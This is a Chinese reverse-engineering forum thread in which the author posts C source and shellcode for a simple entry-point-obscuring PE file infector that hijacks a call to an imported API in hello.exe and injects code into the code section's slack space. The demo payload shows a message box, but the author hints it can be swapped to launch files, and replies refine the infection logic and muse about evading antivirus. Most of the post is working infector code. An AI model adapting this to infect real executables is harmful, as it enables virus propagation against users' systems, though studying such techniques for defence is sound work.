首页
社区
课程
招聘
[原创]用C实现简单的EPO
2006-10-24 23:04 16706

[原创]用C实现简单的EPO

2006-10-24 23:04
16706
//:::从代码节开始搜索,替换第一个发现的call api的指令
//:::把目标代码插入代码节的尾部
//:::代码仅供演示之用,没有做过多的错误处理
//:::感染当前hello.exe,插入一段弹出对话框代码(当然你可以修改成启动文件的代码,嘿嘿)
//:::coded by robinh00d
//:::robinh00d_at_163.com
//:::编译:cl epo.c
/*
要插入的反汇编代码thunk code:
00401006   .  60                  PUSHAD
00401007   .  9C                  PUSHFD
00401008   .  E8 00000000         CALL msg.0040100D
0040100D   $  5B                  POP EBX
0040100E   .  81EB 0D104000       SUB EBX,msg.0040100D
00401014   .  6A 00               PUSH 0
00401016   .  8D83 30104000       LEA EAX,DWORD PTR DS:[EBX+401030]
0040101C   .  50                  PUSH EAX
0040101D   .  50                  PUSH EAX
0040101E   .  6A 00               PUSH 0
00401020   .  B8 78563412         MOV EAX,12345678            ;这里感染前会被替换成正确的MessageBoxA的地址
00401025   .  FFD0                CALL EAX
00401027   .  9D                  POPFD
00401028   .  61                  POPAD
00401029   .  FF25 3A104000       JMP DWORD PTR DS:[40103A]   ;跳到API
0040102F      90                  NOP
00401030   .  72 6F 62 69 6E 68 3>ASCII "robinh00d",0
*/
#include <windows.h>

#pragma comment(lib,"kernel32.lib")
#pragma comment(lib,"user32.lib")

char szHostFile[] = ".\\hello.exe" ;
PIMAGE_DOS_HEADER pImageDosHeader ;
PIMAGE_NT_HEADERS pImageNtHeaders ;
PIMAGE_SECTION_HEADER pImageSectionHeader ;

unsigned char thunkcode[] = "\x60\x9c\xe8\x00\x00\x00\x00\x5b"
                            "\x81\xeb\x0d\x10\x40\x00\x6a\x00"
                            "\x8d\x83\x30\x10\x40\x00\x50\x50"
                            "\x6a\x00\xb8\x78\x56\x34\x12\xff"
                            "\xd0\x9d\x61\xff\x25\x3a\x10\x40"
                            "\x00\x90\x72\x6f\x62\x69\x6e\x68"
                            "\x30\x30\x64\x00" ;
int main()
{
    HANDLE hFile ;
    HANDLE hMap ;
    LPVOID pMapping ;
    DWORD dwGapSize ;
    unsigned char *pGapEntry ;
    int i ;
    PROC MsgBox ;
    DWORD OldEntry ;
    int x = 0x18 ;
    int vir_len ;
    unsigned char *pSearch ;
    DWORD *dwCallNextAddr ;
    DWORD *dwCallDataOffset ;
    DWORD *dwCallDataAddr ;
    DWORD dwCallData ;
    DWORD dwCodeDistance ;
    DWORD *dwJmpAddr ;
    DWORD dwJmpData ;
    DWORD dwJmpVA ;

    //:::
    hFile = CreateFile(szHostFile,
                        FILE_ALL_ACCESS,
                        FILE_SHARE_READ,
                        NULL,
                        OPEN_EXISTING,
                        FILE_ATTRIBUTE_NORMAL,
                        NULL) ;
                        
    if (hFile==-1)
    {
        printf("Open host file failed!\n") ;
        return -1 ;
    }
   
    hMap = CreateFileMapping(hFile,
                            NULL,
                            PAGE_READWRITE,
                            0,
                            0,
                            NULL) ;
    if (!hMap)
    {
        printf("Create file mapping falied!\n") ;
        return -1 ;
    }
   
    pMapping = MapViewOfFile(hMap,
                        FILE_MAP_ALL_ACCESS,
                        0,
                        0,
                        0) ;
    if (!pMapping)
    {
        printf("Map view of file failed!\n") ;
        return -1 ;
    }
   
    //::::::打开目标宿主文件,先检测文件是否PE格式,定位到代码的末尾
    pImageDosHeader = (PIMAGE_DOS_HEADER)pMapping ;
    if (pImageDosHeader->e_magic==IMAGE_DOS_SIGNATURE)
    {
        pImageNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)pMapping+pImageDosHeader->e_lfanew) ;
        if (pImageNtHeaders->Signature==IMAGE_NT_SIGNATURE)
        {
            //:::是合法的PE文件
            //:::定位到节表头
            pImageSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pMapping+
                                                            pImageDosHeader->e_lfanew+
                                                            sizeof(IMAGE_NT_HEADERS)) ;
            //:::计算第一个节的空隙大小
            dwGapSize = pImageSectionHeader->SizeOfRawData - pImageSectionHeader->Misc.VirtualSize ;
            
            //:::如果代码缝隙小于thunk code的大小则感染失败
            if (sizeof(thunkcode)>dwGapSize)
            {
                printf("no more space to fill!\n") ;
                goto Close ;
               
            }
            //:::定位到代码末尾
            pGapEntry = (unsigned char *)(pImageSectionHeader->PointerToRawData+
                                            (DWORD)pMapping+
                                            pImageSectionHeader->Misc.VirtualSize) ;
            
            OldEntry = pImageNtHeaders->OptionalHeader.ImageBase+
                        pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;

            MsgBox = (PROC)GetProcAddress(LoadLibrary("user32.dll"),"MessageBoxA") ;

            //修改为当前系统的MessageBoxA地址
            for (i=3;i>=0;i--)
            {
                thunkcode[i+27] = ((unsigned int)MsgBox>>x)&0xff ;
                x -= 8 ;
            }
            x = 24 ;
            
            vir_len = (int)pImageSectionHeader->Misc.VirtualSize ;
            
            pSearch = (unsigned char *)(pImageSectionHeader->PointerToRawData+
                        (DWORD)pMapping) ;
                        
            //:::搜索call指令(0xe8)
            for (i=0;i<vir_len;i++)
            {
                if (pSearch[i]==0xe8)
                {
                    //:::call指令操作数地址
                    dwCallDataAddr = (DWORD *)(&pSearch[i]+1) ;
                    //:::call下条指令地址
                    dwCallNextAddr=(DWORD *)(&pSearch[i]+5) ;
                    //:::jmp指令地址
                    dwJmpAddr = (DWORD *)(*dwCallDataAddr+ (DWORD)dwCallNextAddr) ;
                    //:::Jmp指令在内存的虚拟地址VA
                    dwJmpVA = (DWORD)dwJmpAddr-
                                ((DWORD)pMapping+pImageSectionHeader->PointerToRawData)+
                                pImageNtHeaders->OptionalHeader.ImageBase+
                                pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;
                    //:::取jmp操作数,返回的时候使用
                    dwJmpData = *((DWORD *)((unsigned char *)dwJmpAddr+2)) ;

                    if ((*dwJmpAddr&0xffff)==0x25ff)
                    {
                        //:::修改call操作数
                        dwCodeDistance = (DWORD)pGapEntry - (DWORD)dwCallNextAddr ;
                        *dwCallDataAddr = dwCodeDistance ;
                        //:::原jmp里的操作数,替换到thunk code的末尾
                        for (i=3;i>=0;i--)
                        {
                            thunkcode[i+37] = ((unsigned int)dwJmpData>>x)&0xff ;
                            x -= 8 ;
                        }
                        //把thunk code写入目标宿主程序
                        for (i=0;i<sizeof(thunkcode);i++)
                        {
                            pGapEntry[i] = thunkcode[i] ;
                        }
                        break ;
                    }
                }
               
            }
            
        }
    }
    else
    {
        printf("Invalid file format!\n") ;
    }
    Close:
    UnmapViewOfFile(pMapping) ;
    CloseHandle(hMap) ;
    CloseHandle(hFile) ;
   
    return 0 ;
}

阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开 发者可享99元/年,续费同价!

收藏
点赞7
打赏
分享
最新回复 (15)
雪    币: 154
活跃值: (70)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
icefall 1 2007-4-12 20:43
2
0
//:::jmp指令地址
                    dwJmpAddr = (DWORD *)(*dwCallDataAddr+ (DWORD)dwCallNextAddr) ;
                    //:::Jmp指令在内存的虚拟地址VA
                    dwJmpVA = (DWORD)dwJmpAddr-
                                ((DWORD)pMapping+pImageSectionHeader->PointerToRawData)+
                                pImageNtHeaders->OptionalHeader.ImageBase+
                                pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;
                    //:::取jmp操作数,返回的时候使用
                    dwJmpData = *((DWORD *)((unsigned char *)dwJmpAddr+2)) ;

这儿不大懂,有朋友能指教一下吗?每次调试到dwJmpData = *((DWORD *)((unsigned char *)dwJmpAddr+2)) ;就出错啊,非法访问内存 dwJmpAddr+2指向什么呢?
雪    币: 846
活跃值: (221)
能力值: (RANK:570 )
在线值:
发帖
回帖
粉丝
笨笨雄 14 2007-4-12 21:18
3
0
难懂的代码。。。知道原理还不如自己写来得明白

当然,知道原理也能自己搞定调试的错误,楼上显然不知道EPO的实现是基于高级语言编译器生成的代码特征和PE文件的一些特性。

我比较有兴趣知道,假如有人用变形技术和入口点模糊技术把病毒写出来了,然后当成可疑文件上报给各大杀软厂商,有多少个杀软能搞定。
雪    币: 154
活跃值: (70)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
icefall 1 2007-4-13 10:34
4
0
楼上显然不知道EPO的实现是基于高级语言编译器生成的代码特征和PE文件的一些特性
这句我不大赞成阿,原理还是大概知道的 再学习学习自己写个
雪    币: 846
活跃值: (221)
能力值: (RANK:570 )
在线值:
发帖
回帖
粉丝
笨笨雄 14 2007-4-13 12:09
5
0
原理就是以代码特征,在代码段里面识别一条完整的指令,除了

PUSH EBP
MOV EBP,ESP
(高级语言编译器的特征之一,没研究过,不知道还有没有其他的)

还有

mov     eax, dword ptr fs:[0]
push    eax
mov     dword ptr fs:[0], esp(WINDOWS的系统特性,SEH的安装)

注意mov     dword ptr fs:[0], esp,有一个prefix,一个opcode,一个mod r\m byte和4个0,即是长度为7的指令。误识别率已经很低了。

而楼主代码利用的是PE的特性。

call iat
jmp iat

iat是指向对应函数地址的指针

例如00041000 xxxxxxxx(xxxxxxxx就是某个API的地址)

那么你可以看到

ff 25 00041000
或者
ff 15 00041000

好吧,现在你告诉我找到call和jmp之后,+2的是什么?

所谓的jmp data又是什么?
雪    币: 235
活跃值: (29)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
Lvg 5 2007-4-13 12:12
6
0
赞一个,楼主写的这个很精秒,典型的inline hook,还用到了自定位,注入
我是这样理解的,假设hello.exe映射到内存是
.call <——dwCallDataAddr ....
. xx                         .
. xx                         .
. xx                         .
. xx
.push <——dwCallNextAddr    .
. xx  . ......................
call
xx
..
..

dwJmpAddr = (DWORD *)(*dwCallDataAddr+ (DWORD)dwCallNextAddr)
dwJmpAddr指向[call xx xx xx xx push xx]中的call的地址
dwJmpData = *((DWORD *)((unsigned char *)dwJmpAddr+2))
之后的dwJmpData = [xx xx xx xx push xx],把这个地址放到thunk code中的jmp后,以便返回

这里的call+push指令刚好与far jump的字节数相等,都七字节。
楼主只是演示,如果实际运用,不同编译情况下,不同的OEP,第一加第二指令与far jump指令的字节数不等的话,就不会注入成功了
雪    币: 235
活跃值: (29)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
Lvg 5 2007-4-13 12:23
7
0
注入前:


注入后:
上传的附件:
雪    币: 154
活跃值: (70)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
icefall 1 2007-4-13 13:12
8
0
谢楼上几位点拨
替换第一个发现的call api的指令

出现第一个0xE8时但不是call API而是其他的call岂不很容易出错?
楼主只是演示,如果实际运用,不同编译情况下,不同的OEP,第一加第二指令与far jump指令的字节数不等的话,就不会注入成功了

学习
雪    币: 154
活跃值: (70)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
icefall 1 2007-4-14 10:12
9
0
终于实验成功了,感谢作者和关注者的指点

hFile = CreateFile(szHostFile,
                        GENERIC_READ | GENERIC_WRITE,
                        FILE_SHARE_READ | FILE_SHARE_WRITE,
                        NULL,
                        OPEN_EXISTING,
                        FILE_ATTRIBUTE_NORMAL,
                        NULL) ;
                        
    if (hFile==INVALID_HANDLE_VALUE)
    {
        printf("Open host file failed!\n") ;
        return -1 ;
    }
   
    hMap = CreateFileMapping(hFile,
                            NULL,
                            PAGE_READWRITE,
                            0,
                            0,
                            NULL) ;
    if (!hMap)
    {
        printf("Create file mapping falied!\n") ;
        return -1 ;
    }
   
    pMapping = MapViewOfFile(hMap,
                        FILE_MAP_ALL_ACCESS,
                        0,
                        0,
                        0) ;
    if (!pMapping)
    {
        printf("Map view of file failed!\n") ;
        return -1 ;
    }
雪    币: 1852
活跃值: (504)
能力值: (RANK:1010 )
在线值:
发帖
回帖
粉丝
北极星2003 25 2007-4-14 11:39
10
0
计算空隙大小的部分有点出入
空闲大小 = 下一区块文件起始地址 - 本区块文件起始地址 - 本区块SizeOfRawData
最后尽量把VirtualSize调成最大,很多情况下,并没有Alignment
雪    币: 22
活跃值: (390)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
crazybug 2 2007-4-15 13:17
11
0
嘿嘿,的确这个地方还有一个问题就是空隙的大小计算应该是有符号的,我搞成无符号的了
雪    币: 189
活跃值: (56)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
Osris 2 2007-4-15 20:15
12
0
只靠E8就判定这个是CALL指令有点危险,要好的EPO还是需要带个反汇编模块,
不知道LZ有没进行大规模的测试?
雪    币: 22
活跃值: (390)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
crazybug 2 2007-4-15 21:43
13
0
所以是简单的EPO
雪    币: 159
活跃值: (339)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
Lenus 3 2007-5-16 17:15
14
0
好像没有用啊!


这一句容易出现异常,加个异常处理会比较好吧
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
yuxuanblue 2007-6-2 12:26
15
0
没想到这个壳这么难脱。。。
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
点点 2007-6-3 00:22
16
0
恩,版主的这个方法不错
游客
登录 | 注册 方可回帖
返回